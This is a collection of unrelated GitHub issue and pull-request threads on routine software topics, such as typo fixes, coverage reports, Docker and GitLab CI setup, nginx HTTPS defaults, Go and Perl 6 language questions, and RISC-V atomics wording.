I'm going to close this PR out. Please direct all feedback to #10 from here on out.


Fix README typos

Fixes two typos identified by https://github.com/google/playground-elements/issues/296
Does this need changelog as it's tiny and instantly benefits the repo README?
Thank you

Does this need changelog as it's tiny and instantly benefits the repo README?

Could do. Not a big deal either way.

Added changelog! Thank you!


Use Nginx 1.10

WHAT
Use the current Nginx stable version is v1.10. It contains dynamic module feature, HTTP/2 support, and so on.
REF

Introducing NGINX 1.10 and 1.11 - NGINX

All green!! LGTM!!


DOC: tighten document intro

Is this an improvement? It basically flips the order of the two intro paragraphs and deletes some words. I'm not sure that flipping the order is an improvement on the original.

Current coverage is 82.63% (diff: 100%)

Merging #555 into master will increase coverage by 0.04%

@@             master       #555   diff @@
==========================================
  Files            21         21
  Lines          4032       4032
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits           3330       3332     +2
+ Misses          702        700     -2
  Partials          0          0

Powered by Codecov. Last update 8927044...6411c56

Superceded


List dependencies, even if you have the .7z file.

Is it possible to list the dependencies somewhere, even though you have the 7z file? I'm assuming there are at least one or two differences from the original Diffusers and Dreambooth. Thanks!

Look in the history, you'll find them before the recent changes to the notebook


cmd/go: cannot use map index special form in return statements

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
go1.10
Does this issue reproduce with the latest release?
Yes
What operating system and processor architecture are you using (go env)?
all
What did you do?
When storing the results into two variables, the special form of a map index operation can return two parts. The same is not true in a return statement, even when the function signature makes this unambiguous.
https://play.golang.org/p/mmJ8ZlWC2yn
What did you expect to see?
I would expect CheckCache_works and CheckCache_shouldWork to function identically.
What did you see instead?
gc refuses to compile the return statement, saying:
prog.go:15:2: not enough arguments to return
	have (int)
	want (int, bool)

Apologies if this duplicates a previous issue. I found searching for and naming this issue pretty hard.

That is how the language works, as defined by the language spec (https://golang.org/ref/spec).  The special , ok form of a map index is only available in an assignment or initialization, as documented at https://golang.org/ref/spec#Index_expressions .
If you want to propose that the language be changed, please follow the proposal process documented at https://github.com/golang/proposal/blob/master/README.md .  Thanks.


Post release 23.4

Raise rust version to 1.68.2
Clean-up remains of Ansible playbook for running kuttl tests

Part of https://github.com/stackabletech/issues/issues/333

No / already done


Added GET call info for post update of endpoint

Hi @raymondlaghaeian, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

It looks like you're working at Microsoft (raymondl). If you're full-time, we DON'T require a contribution license agreement.

If you are a vendor, DO please sign the electronic contribution license agreement. It will take 2 minutes and there's no faxing! https://cla.azure.com.

TTYL, AZPRBOT;

@raymondlaghaeian - Please use the private repo, per email


Add a Spark shell example for Scala 2.10 and change incorrect versions in document.

This PR simply corrects some typos in readme and add a example for Spark shell with Scala 2.10

Current coverage is 89.22%

Merging #69 into master will not affect coverage as of 62ee60b

@@            master     #69   diff @@
======================================
  Files           12      12
  Stmts          622     622
  Branches        86      86
  Methods          0       0
======================================
  Hit            555     555
  Partial          0       0
  Missed          67      67

Review entire Coverage Diff as of 62ee60b

Powered by Codecov. Updated on successful CI builds.

Merged.


Fix thirdparty repo tag

make thirdparty tag easier to access and update

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Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 45.41%. Comparing base (80a20fa) to head (7e58c37).

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Additional details and impacted files
@@           Coverage Diff           @@
##           master     #333   +/-   ##
=======================================
  Coverage   45.41%   45.41%
=======================================
  Files         237      237
  Lines        3329     3329
  Branches     1726     1726
=======================================
  Hits         1512     1512
  Misses        442      442
  Partials     1375     1375

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⚠ Jenkins Plugins Artifactory has degraded performance

In 6a6e7b2, Jenkins Plugins Artifactory (https://get.jenkins.io/plugins/artifactory/) experienced degraded performance:

HTTP code: 200
Response time: 2815 ms

Resolved: Jenkins Plugins Artifactory performance has improved in 7de10e7 after 11 hours, 6 minutes.


Can't like post

Please follow the guide below

Issues submitted without this template format will be ignored.
Please read the questions carefully and answer completely.
Do not post screenshots of error messages or code.
Put an x into all the boxes [ ] relevant to your issue (==> [x] NO spaces).
Use the Preview tab to see how your issue will actually look like.
Issues about reverse engineering is out of scope and will be closed without response.
Any mention of spam-like actions or spam-related tools/libs/etc is strictly not allowed.

Before submitting an issue, make sure you have:

[x] Updated to the lastest version v1.5.7
[ ] Read the README and docs
[ ] Searched the bugtracker for similar issues including closed ones
[ ] Reviewed the sample code in tests and examples

Which client are you using?

[x] app (instagram_private_api/)
[ ] web (instagram_web_api/)

Describe the Bug/Error:
Please make sure the description is worded well enough to be understood with as much context and examples as possible.
Code to replicate the error must be provided below.

Paste the output of python -V here:
Code:
# Example code that will produce the error reported
from instagram_web_api import Client

web_api = Client()
user_feed_info = web_api.user_feed('1234567890', count=10)

Error/Debug Log:
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ZeroDivisionError: integer division or modulo by zero

from instagram_private_api import *
import sys
user_name = 'user'
password = 'pass'
api = Client(user_name, password)
results = api.feed_timeline()
items = [item for item in results.get('feed_items', [])
if item.get('media_or_ad')]
for item in items:
# Manually patch the entity to match the public api as closely as possible, optional
# To automatically patch entities, initialise the Client with auto_patch=True
ClientCompatPatch.media(item['media_or_ad'])
print(item['media_or_ad']['code'])
try:
cc = api.media_likers('BqO5l1VDgyz')
print(cc)

except:
print('error', sys.exc_info())
And i always see this error:
error (, ClientError('Bad Request: Sorry, this photo has been deleted.'), )

What to do?


JSONSchema: bad oneOf selection with initial data

Description
With an optional object as sub property, the initial value of the JSONSchema oneOf is wrong.
Minimal Reproduction
https://stackblitz.com/edit/angular-jsonschema-load-oneof?file=src%2Fassets%2Fjson-schema%2FoneOf.json
Your Environment

Angular version: 7.2.16
Formly version: 5.10.18

indirectly fixed by https://github.com/ngx-formly/ngx-formly/pull/2817 :smiley:, I'll push a release soon!

This issue has been fixed and released as part of v5.10.19 release.
Please let us know, in case you are still encountering a similar issue/problem.
Thank you!

Great thank you.


Linux arm64 support

Are there plans to support linux arm64?

please read the docs before opening an issue. the supported platforms are clearly listed in the readme

Sorry @kenarsa but it still unclear to me, I saw Linux (x86_64) as if any device with that SO and architecture was supported, but for arm64 I only saw specific linux devices like the raspberry.
Should I asume that the raspberry binary will work on other arm64 linux boards? I didn't saw any references to that.

Or a arm64 docker container which is what I want to try using the java sdk, but the host is not a raspberry.


feat(434): refactor image component usage

Description
This PR updates the usages of the Image component from nextui to next/image on the homepage, /about, and /methodology pages to speedup pageload times and increase our lighthouse score.
Note, leaving as draft until https://github.com/CodeForPhilly/vacant-lots-proj/pull/417 is merged into staging as this PR's been branched off of that (to include changes made to the homepage)
Demo
homepage page, before

homepage page, after

/about page, before

/about page, after

Closes #434

@paulhchoi do you mind resolving the merge conflict here?

@paulhchoi do you mind resolving the merge conflict here?

@brandonfcohen1 conflicts fixed
@cozyfestiv I noticed the PR you made updating the /about page a few days ago — I made some updates to utilize the <InfoGraphicSection /> component we're using on the homepage, what do you think of the updates?
cc: @thansidwell, on the /about page: lighter 'ring' applied to the graphic, and image border radii updated to be 20px, from 8px

@paulhchoi Ok cool, yeah it looks good!  I did see the InfoGraphic component but I wasn't sure if it made sense to use it or not.


Docker image with lychee executable

Hello, apologies if this has been answered before.
I'm trying to set up a CI test on a GitLab site and I need a docker image that contains the lychee command.
I thought that the official one in docker hub would do, but I realized that it's meant to be run as a containerized command line program. That's not exactly what I want.
Is there any bare (hopefully small) docker container with the lychee executable in it? Simliary to what the python image is.
I love the project and appreciate all the effort put on this!

Hey @martinberoiz,
maybe the alpine image would work?
docker run lycheeverse/lychee:latest-alpine

It's 13MB in size and contains nothing but lychee.
If not, I'm not quite sure whether I understand the difference between a containerized command line program and a Docker image that contains the lychee command. Essentially, lychee is a command line program, dockerized or not. 😉

Thanks for your quick reply. My work day is about to end, I'll try that tomorrow and come back to you. It could work.

Ok, I tried and could not make it work. Specifically I cannot run it as a background process:
$ docker pull lycheeverse/lychee:latest-alpine
$ docker run -itd --name lychee lycheeverse/lychee:latest-alpine
$ docker exec lychee /bin/sh
Error response from daemon: Container 225fa7a29aaaf9be968fed89651f82db28a8f6508671b3d8eefbe2a18fcd167c is not running

I don't know enough of docker to understand what's going on, but I did my own Dockerfile that satisfies my needs for the moment.
Please feel free to close this issue, unless you think it's worth keep digging. If I learn more and find a solution I'll try to open a PR or a new issue.

This SO seems relevant.
tl;dr Gitlab CI will not work with images with an ENTRYPOINT. There is a workaround suggested there that I will try.

For the record, this is the solution how to use it on gitlab-ci.yaml:
job-name:
  stage: my-stage
  image:
    name: lycheeverse/lychee:latest-alpine
    entrypoint: [""]

Sorry for the many replies!


[PE-D][Tester C] Add: Invalid Type

Warning message appears informing of invalid type but not instructing on what type is valid.
You may want to consider that invalid typing error message should display what possible types of transactions there are (so that the user is not inconvenienced).

Labels: type.FeatureFlaw severity.Low
original: phiphi-tan/ped#25

Requires feature change, not a bug.


[BugFix] Make unqiue constraints case insensitive

Fixes #issue
What type of PR is this:

[x] BugFix
[ ] Feature
[ ] Enhancement
[ ] Refactor
[ ] UT
[ ] Doc
[ ] Tool

Does this PR entail a change in behavior?

[ ] Yes, this PR will result in a change in behavior.
[x] No, this PR will not result in a change in behavior.

If yes, please specify the type of change:

[ ] Interface/UI changes: syntax, type conversion, expression evaluation, display information
[ ] Parameter changes: default values, similar parameters but with different default values
[ ] Policy changes: use new policy to replace old one, functionality automatically enabled
[ ] Feature removed
[ ] Miscellaneous: upgrade & downgrade compatibility, etc.

Checklist:

[x] I have added test cases for my bug fix or my new feature
[ ] This pr needs user documentation (for new or modified features or behaviors)

[ ] I have added documentation for my new feature or new function

Bugfix cherry-pick branch check:

[x] I have checked the version labels which the pr will be auto-backported to the target branch

[x] 3.2
[x] 3.1
[ ] 3.0
[ ] 2.5

Should add a test-case to cover this issue

Should add a test-case to cover this issue

Yep. Add it .


run "git config --global user.name" , no output

✓ ~→ cat .gitconfig.extra                                             [17:39:00]
[user]
name = haochunjie
email =<EMAIL_ADDRESS>[push]
default = simple
✓ ~→ git config --global --list
....................
include.path=.gitconfig.extra
Does anyone else have this problem?

Although there is no output after running "git config --global user.name", it's available.


debug for the inference of gray image

#483
repeat the gray channels to three channels before use GFPGAN to enhance face.

I can confirm that 08bb63150d7c0486a536ef935b5ae1f36338229d fixes the error. However, I suspect that this fix should be submitted to GFPGAN rather than this repo, so that other downstream projects benefit from the fix. Also, I do not understand why img_mode is set to 'L'. That variable doesn't look like it's used anywhere except checking for 'RGBA', and I'm pretty sure its value will never be 'RGBA' when the grayscale code path is reached, so I think that line can simply be removed from this patch.


Fix Dockerfile

Ruby 2.4 is needed and the encoding is mising on some data sources.
I have moved encoding next to type:, so it will less likely be removed
accidentaly.
Signed-off-by: Julien Pivotto<EMAIL_ADDRESS>

We should probably do a nanoc update to get to a current (Ruby 2.6 or 2.7) release after this.

Very naively I picked up ruby 2.4 because it is the last version with a -onbuild docker image.
I will look for the update.


x/tools/cmd/gorename: go install with error: module providing named packages contains one or more replace directives

Go version
go version go1.23.1 linux/amd64
Output of go env in your module/workspace:
GO111MODULE='on'
GOARCH='amd64'
GOBIN=''
GOCACHE='/root/.cache/go-build'
GOENV='/root/.config/go/env'
GOEXE=''
GOEXPERIMENT=''
GOFLAGS=''
GOHOSTARCH='amd64'
GOHOSTOS='linux'
GOINSECURE=''
GOMODCACHE='/root/go/pkg/mod'
GONOPROXY=''
GONOSUMDB=''
GOOS='linux'
GOPATH='/root/go'
GOPRIVATE=''
GOPROXY='https://goproxy.cn|https://goproxy.io|direct'
GOROOT='/root/sdk/go1.23.1'
GOSUMDB='sum.golang.org'
GOTMPDIR=''
GOTOOLCHAIN='auto'
GOTOOLDIR='/root/sdk/go1.23.1/pkg/tool/linux_amd64'
GOVCS=''
GOVERSION='go1.23.1'
GODEBUG=''
GOTELEMETRY='local'
GOTELEMETRYDIR='/root/.config/go/telemetry'
GCCGO='gccgo'
GOAMD64='v1'
AR='ar'
CC='gcc'
CXX='g++'
CGO_ENABLED='1'
GOMOD='/dev/null'
GOWORK=''
CGO_CFLAGS='-O2 -g'
CGO_CPPFLAGS=''
CGO_CXXFLAGS='-O2 -g'
CGO_FFLAGS='-O2 -g'
CGO_LDFLAGS='-O2 -g'
PKG_CONFIG='pkg-config'
GOGCCFLAGS='-fPIC -m64 -pthread -Wl,--no-gc-sections -fmessage-length=0 -ffile-prefix-map=/tmp/go-build4229104522=/tmp/go-build -gno-record-gcc-switches'

What did you do?
install the latest gorename tool
go install golang.org/x/tools/cmd/gorename@latest

What did you see happen?
got error:
go: golang.org/x/tools/cmd/gorename@latest (in golang.org/x/tools/cmd/gorename@v0.0.0-20240919230923-d09d36b49f6c):
        The go.mod file for the module providing named packages contains one or
        more replace directives. It must not contain directives that would cause
        it to be interpreted differently than if it were the main module.

What did you expect to see?
correct install the tool

Related Issues and Documentation

cmd/go: incorrect message when replace target fails to resolve to correct module #34256 (closed)
x/tools/gopls: do not include replace directive in release versions #42627 (closed)
cmd/go: improve error message for replace with '@' in path #35041 (closed)
go.mod failed to replace module #29608 (closed)
cmd/go: improve build list errors related to replace and exclude directives #35039 (closed)
x/tools/cmd/rename: tests are failing for Go 1.7 and Go 1.8 #20805 (closed)
x/tools/gopls: cannot install gopls v0.6.8 #45099 (closed)
cmd/go: 'go mod edit -replace' fails if the package's version in go.mod is not in semver format #34382
x/tools/cmd/gorename: creates a `pkg/mod` inside `$GOPATH` #34222
cmd/gorename: unable to build #9623 (closed)

(Emoji vote if this was helpful or unhelpful; more detailed feedback welcome in this discussion.)

see #69360


reorg main files

Codecov Report

Merging #114 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #114   +/-   ##
=======================================
  Coverage   74.56%   74.56%
=======================================
  Files         102      102
  Lines       14953    14953
=======================================
  Hits        11150    11150
  Misses       2954     2954
  Partials      849      849

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update af8031f...2dcc449. Read the comment docs.


Add backup policy kubernetes azurerm_data_protection_backup_policy_kubernetes_cluster

Description of your changes
Added the resource azurerm_data_protection_backup_policy_kubernetes_cluster which is already present in the underlying terraform release but was not made available through the provider.
Fixes #
I have:

[X] Read and followed Crossplane's contribution process.
[X] Run make reviewable to ensure this PR is ready for review.
[N/A] Added backport release-x.y labels to auto-backport this PR if necessary.

How has this code been tested
The code was tested by Manual Test according to Adding new resources guide

make run
k apply -f provider-upjet-azure/examples/dataprotection/v1beta1/backuppolicykubernetescluster.yaml
Applied manifests:
k get BackupPolicyKubernetesCluster/example BackupVault/example ResourceGroup/example
NAME                                                                    SYNCED   READY   EXTERNAL-NAME   AGE
backuppolicykubernetescluster.dataprotection.azure.upbound.io/example   True     True    example         54m

NAME                                                  SYNCED   READY   EXTERNAL-NAME   AGE
backupvault.dataprotection.azure.upbound.io/example   True     True    example         163m
NAME                                     SYNCED   READY   EXTERNAL-NAME   AGE
resourcegroup.azure.upbound.io/example   True     True    example         22h
4. Deletion tested by removing the manifests. It also removed the azure resources.
5. Update is not applicable since backup policies can not be updated once created.

/test-examples="examples/dataprotection/v1beta1/backuppolicykubernetescluster.yaml"

/test-examples="examples/dataprotection/v1beta1/backuppolicykubernetescluster.yaml"

/test-examples="examples/dataprotection/v1beta1/backuppolicykubernetescluster.yaml"

Hi @turkenf, thanks for the comments, your suggestions have been implemented. I've squashed the commits to make it a bit cleaner. Please retrigger the test - DCO might need a manual approval because the last commit is co-authored.


Fixes for Atomics wording (adoc)

This is a fairly minimal fix to the unprivileged spec to prepare us for atomics ABI work. It fixes some oversimplifications that were uncovered during the load-acquire store-release mailing list discussions. Some of the observations behind the changes came from Palmer Dabbelt. Andrea Parri, and others. It also fixes some inconsistencies with A.6, and adds a clarification there.
Note that the use of LR/SC to implement "sequentially consistent" atomics primitives is subtle, and depends on the precise semantics, and how other atomics are implemented. I tried to tread the fine line between inaccuracy and turning this into a memory model tutorial.
This is the adoc version of pull request #992 .

Thank you, @hboehm.  Can you review my slightly altered version of this change here? https://github.com/riscv/riscv-isa-manual/commit/d53848e827c974df8e9dd6bc917d9f7aabe87932
I think the sentences about the aq and rl bits individually need to remain normative.  (The rest follows logically, I think, so keeping it non-normative is desirable.)  @daniellustig can you also be so kind as to weigh in?

I have no strong feelings either way. My reading was that in RVWMO, it's
really memory operations that have acquire and/or release annotations. So
the whole notion of acquire or release semantics of an LR/SC sequence
seemed like informal guidance to me, with the actual semantics following
from the RVWMO section. This is all good, since I'm not sure there is a
priori universal agreement on exactly what it means for LR/SC sequence to
have acquire or release semantics. And the RVWMO definition is much more
precise.
On Tue, May 16, 2023 at 2:09 PM Andrew Waterman @.***>
wrote:

Thank you, @hboehm https://github.com/hboehm. Can you review my
slightly altered version of this change here? d53848e
https://github.com/riscv/riscv-isa-manual/commit/d53848e827c974df8e9dd6bc917d9f7aabe87932
I think the sentences about the aq and rl bits individually need to
remain normative. (The rest follows logically, I think, so keeping it
non-normative is desirable.) @daniellustig
https://github.com/daniellustig can you also be so kind as to weigh in?
—
Reply to this email directly, view it on GitHub
https://github.com/riscv/riscv-isa-manual/pull/1039#issuecomment-1550364971,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAHUHKR527OCKV4WVOUPXSTXGPUJJANCNFSM6AAAAAAX6Z43WY
.
You are receiving this because you were mentioned.Message ID:
@.***>

It's probably true that these statements in the RVWMO spec suffice to define the meaning of the aq/rl bits: https://github.com/riscv/riscv-isa-manual/commit/0e6df795ced5abd141f4e92b7a935e3b217f0349#diff-2284d757b615fc4f9a380c73afb5735a7a7e56d7a322d3c8a0091844fc26a65dR132-R136
But I think that not explicitly mentioning them in the A chapter is going to lead to confusion.  @daniellustig can you break the tie here?


Contact's country code

How can I get the country code of a contact?

The country code is not part of the contact data model, on both Android and iOS, so flutter_contacts cannot provide it. Instead you could try to look at the (first) phone number of a contact, and in case it has a country code, use it one as a proxy.


URL 'Origin' like in WHATWG spec

Feature Request

Q
A

New Feature
yes

BC Break
yes/no

Proposal
Hey there, just as title, it could be useful to have something like get_origin() to return a string containing the "origin" of the URL. According to WHATWG spec this is made of the URL scheme, host and port.
For example
use League\Uri\Http;
$uri = Http::createFromString('http://user:pass@sub.example.com:8080/p/a/t/h?query=string#hash');

echo $uri->get_origin();
# http://sub.example.com:8080

ps. Thanks a lot for your time and effort in this and all the other League libraries! :)

@GlassGruber thanks for the kind words toward the league maintainers.
As for your request there are a couple of reasons why origin was left out the current objects:

origin is specific as you mentioned of the WHATWG URL Living standard specification but the current library is only compliant with RFC3986/RFC3987 URL specification which does not contain the origin property.
origin is poorly specified as it somehow leaves out certain schemes (ie file) and is only correctly defined for a small subset or URL (http(s),ftp, ws(s)).
WHATWG URL always have an origin while RFC3986 URI may not.

As you can see these were blockers for me to add the origin property to the Uri or the Http classes.
Having said that, I'm open in seeing the library providing a mechanism to returns the URL origin but using the UriInfo class instead ?
What do you think

What you say looks totally sensed to me!
I thought as well that an out-of-spec feature was a bit off as a request, I totally overlooked the UriInfo class, and it looks indeed as a fine candidate for an extra feature.
Thank you for your answer and time!

@GlassGruber I've created a PR with a first implementation tell me what you think about the result.

Looks good indeed!
Thank you for your time in this and the super rapid response for such a side feature!

the feature is merged to master it will be released hopefully during this week


setCanvas throws a spanner in window rendering

If love.graphics.setCanvas(someCanvas) is called during love.draw callback, nest can no longer render to its current screen canvas, after using .setCanvas() with no args.
A solution that i can think of would be to override setCanvas()
local originalSetCanvas = love.graphics.setCanvas
local lastScreenCanvas = nil
function love.graphics.setCanvas(...)
    local arg = {...}

    if #arg == 1 and (screen == "left" or screen == "right" or screen == "bottom") then
        lastScreenCanvas = arg[1] -- Store the current screens canvas, as to be restored in a later call
    end

    if #arg == 0 and lastScreenCanvas then
        -- Restore the last screens canvas
        originalSetCanvas(lastScreenCanvas)
    else
        -- Nothing to restore, just call the original setCanvas with the args provided
        originalSetCanvas(unpack(arg))
    end
end

-- This code wasnt tested, please treat it as pseudocode

I wanted to get your opinion on it, as i'm very in-confident with my code/lua abilities.

Apologies on the late reply.. but huh, I've never noticed this. Definitely an oversight on my part. Feel free to open a pull request!


Can Record Visitors Work ?

Hello.
for example, when visitors coming to my site, i want to make a video from they screen. it was possible with this plugin?
i think it is 100% possible To record all the visitors screens.

hey there is no audio coming after recording the video


Allow docker authentication from maven settings

It would be convenient to allow docker authentication using the regular server configuration in the maven settings.xml file.  This would make the builds more portable, allow easier setup on build servers etc. which already have these settings configured, and would also avoid conflicts with changes in the docker configuration (my mac's docker daemon keeps removing my auth settings and storing them in "osxkeychain", so every day I have to re-add the settings correctly.
I propose adding a new property to the configuration:
<useMavenSettingsForAuth>true</useMavenSettingsForAuth>

Which will add a new provider for the authorization.

Closed by https://github.com/spotify/dockerfile-maven/pull/65


CurvedArrow Interface

The interface of class CurvedArrow in geometry.py is not trivial to understand.
An example is in the tutorial, basically:
from big_ol_pile_of_manim_imports import *

class MoreShapes(Scene):
    # A few more simple shapes

    def construct(self):
        pointer = CurvedArrow(start_point=5 * RIGHT, end_point=2 * RIGHT, color=MAROON_C)

        self.add(pointer)

The output animation will have a curved arrow pointing from the end_point to the start_point. But intuitively, it should point from the start_point to the end_point. (The link above to the tutorial have an embedded video showing the curve.)

Yeah this looks like a bug, I'll look into it.

Thank you for reporting this @luckynozomi , appreciated.

Looks like the pointy reversey thing was added to handle negative angle: https://github.com/3b1b/manim/commit/497961082e3e1d31f1d27c4ff2eb7d66e4f86a8e


Register neat with config.assets when in Rails

Along the same lines as https://github.com/thoughtbot/bourbon/pull/1053/8257c683f8a250c06407f66d077dfbe6ce6595b0, using Sass.load_paths won't work if we happen to be using sassc-rails instead of sass-rails. I ran into this when I was testing out https://github.com/thoughtbot/suspenders/pull/936. We may also want to think about removing the sass dependency listed in the gemspec to neat and bourbon. If we are using sassc, we probably don't also want sass.

Closes #659
I didn't realize this PR had already been opened by another Daniel.
I changed a few little things, so I will merge this one instead with
Daniel as a co-author.


Wrong HTTPS Redirects

If you point *.domain.com at a server and deploy the proxy with HTTP and go to an invalid domain e.g. http://test.domain.com - you receive a 503 error. This is expected.
However if you make the domains for *.domain.com HTTPS and go to an invalid domain e.g. https://test.domain.com - you will be redirect to the first working page in the default.conf.
You should receive a 503 for the invalid domain on both HTTP and HTTPS

a blank/default port 443 section needs added:
server {
        server_name _;
        listen 443 ssl http2 ;
        access_log /var/log/nginx/access.log vhost;
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
	ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:!DSS';
        ssl_prefer_server_ciphers on;
        ssl_session_timeout 5m;
        ssl_session_cache shared:SSL:50m;
        ssl_session_tickets off;
        ssl_certificate /etc/nginx/certs/domain.com.crt;
        ssl_certificate_key /etc/nginx/certs/domain.com.key;
        add_header Strict-Transport-Security "max-age=31536000";
        return 503;
}

A solution (workaround?) without touching nginx.tmpl is to generate a (wildcard) default.crt and default.key, to be placed in the certs folder being mounted in the nginx-proxy container.
#105, #108

@matteocng I have wildcard certs in the directory however the information is not being added to the default

do they need to be called default.crt/key ? the other ones have needed to be called that


ctrl + z do not close ng process

Versions
Your global Angular CLI version (1.6.1) is greater than your local
version (1.6.0). The local Angular CLI version is used.

Step 2: Focus on Terminal and ctrl + z.
Step 3: Run command yarn start=>ng serve again.

Observed behavior
Output Step 1:
yarn run v1.3.2
$ ng serve
** NG Live Development Server is listening on localhost:4200, open your browser on http://localhost:4200/ **
Date: 2017-12-18T08:34:32.119Z
Hash: d35c5613a39d31085c98
Time: 6469ms
chunk {inline} inline.bundle.js (inline) 5.79 kB [entry] [rendered]
chunk {main} main.bundle.js (main) 31.1 kB [initial] [rendered]
chunk {polyfills} polyfills.bundle.js (polyfills) 552 kB [initial] [rendered]
chunk {styles} styles.bundle.js (styles) 33.9 kB [initial] [rendered]
chunk {vendor} vendor.bundle.js (vendor) 7.94 MB [initial] [rendered]

webpack: Compiled successfully.
========================
Output Step 3:
yarn run v1.3.2
$ ng serve
Port 4200 is already in use. Use '--port' to specify a different port.
error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.

Desired behavior
Should be don't allow to use ctrl + z or close ng process.

ctrl + z put the process in the background. You're looking for ctrl + c, which kills the process.
Closing this as working as intended.


Switched from regex to URL constructor when validating URLs

This is meant to solve #120

@danielepolencic Merged and published in<EMAIL_ADDRESS>Thank you! 🚀


Send msg payload as get parameters to endpoint

Feature Request
Hi I'll want to send msg payload as get parameters ( or www-x-form-encoded, or as simple curl options : URL, headers, méthode, post body) to end point ( for old clients who cant afford to upgrade their endpoint)
Motivation
Have the maximal payload flexibility

We support it in cloud with transformations, I wonder how to even approach it in OSS. 🤔


Uploading a logo with PostgreSQL database does not work

It creates a new row in customizer_files with an incremented id.
Details: https://kanboard.discourse.group/t/howto-setup-permissions-for-plugins-dir/298/19

solved:
https://kanboard.discourse.group/t/howto-setup-permissions-for-plugins-dir/298/42


Support JupyterLab 0.33

This raises the minimum supported version of JupyterLab to 0.33.
Part of getting in line with this release is falling back to typescript building es2015 modules, and using require.ensure instead of await import. Sigh.

Alright, we're back to green, and the tests are a good deal more robust now. Going to merge, but still have some chores to do before the npm releases. But let's get a gh-pages build, and see what happens.

Looks good up on gh-pages!


Allow Configuring Quick Fix Auto-Import Quotes Type

From https://github.com/Microsoft/vscode/issues/21424
TypeScript Version:  2.2.1
Using the new auto import quick fix, imports paths are always added with double quotes. This feature request is the ability to configure the TSServer to use single quotes instead, potentially with another  formatting setting
Potentially related to https://github.com/Microsoft/TypeScript/issues/11320

Duplicate of https://github.com/Microsoft/TypeScript/issues/13270

@mhegazy Thanks. Closing as a duplicate


Client keeps crashing with HW accel. on

Description:
Client crashes or freezes after a few minutes (log says client crashed after 18 minutes). It seems that turning off HW acceleration has fixed the client from crashing for now. Full reinstallation of client and reformatting the drive has not helped fix the issue.
Cause:
EXCEPTION_ILLEGAL_INSTRUCTION
Problematic frame:
sun.reflect.annotation.AnnotationInvocationHandler.invoke(Ljava/lang/Object;Ljava/lang/reflect/Method;[Ljava/lang/Object;)Ljava/lang/Object; (277 bytes) @ 0x000002de68fa1140 [0x000002de68fa07a0+0x9a0]
System:
OS: Windows 10.0 , 64 bit Build 17134 (10.0.17134.753)
see log for more
Crash log file:
hs_err_pid1648.log

Not all hardware viably supports hardware acceleration. If it works well with it disabled, just keep it disabled. The guide to turn it off is recommended/referred to frequently because of this, many people have to keep it turned off for RL to work properly on their system.


Backend - Push JSON objects into MongoDB

Fix the JSON files and after that, add them to MongoDB in a Python script.

Integrate Fabio's work into Brandon's Python API. Need to still push into Mongo


LTA example of using The $ Variable more than once

ref: https://docs.perl6.org/language/variables#The_$_Variable
The fourth example in this section says

"If you need to use the value of $ more than once in a scope, it should be copied to a new variable."

but the example code which follows doesn't actually show doing that (it shows given ++$ { ... } which is only a single usage.)
Also, copying $ only allows reading the value more than once, not updating it.   A more general solution is to bind another variable to $.  Then multiple reads & writes can be done.
Suggestion: Replace the above-quoted text and the example below it with the following:
If you need to reference the same $ variable more than once, bind another variable to it (in this example it would be more straightforward to just declare state $x and not use the magical $ variable):

sub foo () {
  my $x := $;
  $x++;
  say $x;
  $x = $x + 1;
}

foo() for ^3;
# OUTPUT: «1␤3␤5␤»

(QUESTION: Is there a realistic use case for multiple-references to $?  That is, is there a case where $ must be used instead of a regular state $foo and/or where the former is more clear and understandable?)

Relatedly, the examples of using the @ and % state variables use the phrase "copy the value" when actually a reference is being copied.  For beginners this may be confusing.  For example, at https://docs.perl6.org/language/variables#The_@_Variable it says to "copy the value" like this:

sub foo($x) {
    my $v = @;
    $v[$x] = $x;
    say $v;
}

But the $v = @ does not actually copy the array, but creates a scalar container containing a reference to the array, er, at least I think that's the correct language (see, it's confusing!)
To avoid irrelevant distractions, an example using an explicit bind might be less confusing:

sub foo($x) {
    my @v := @;
    @v[$x] = $x;
    say @v;
}
foo($_) for ^3;

Upon further reflection, I wonder is it ever good coding style to use $, @, or %  if multiple references are needed?
The necessity of making copies, scalar references or binding other variables to the magic variable adds notheing but obfuscating complexity to my (still beginner's) eye; declaring regular state $foo instead would produce simpler, more readable code when multiple references are involved.
Or such is my conjecture.
If y'all agree with this, then whole long section showing examples of multiple references could be cut and replaced with the following:
Each reference to $, @, and % within a lexical scope is in effect a separate variable.  If you need to refer to such a state variable more than once, it's probably better to declare a regular state $foo rather than use these magical variable names.   But if you really want to, you can bind (with :=) another variable to the magic variable and reference it multiple times, or assign @ and % to a $scalar to get a reference to the container.
(Please don't copy the above text without expert review)
If, on the contrary, using $ etc. is required or compelling, even when multiple refs are needed, then motivating examples would be helpful.

It's probably not good coding style, as you say. But that could go to the "traps" section.


Mi matrix

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

2 of 4 (50.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.03%) to 88.925%

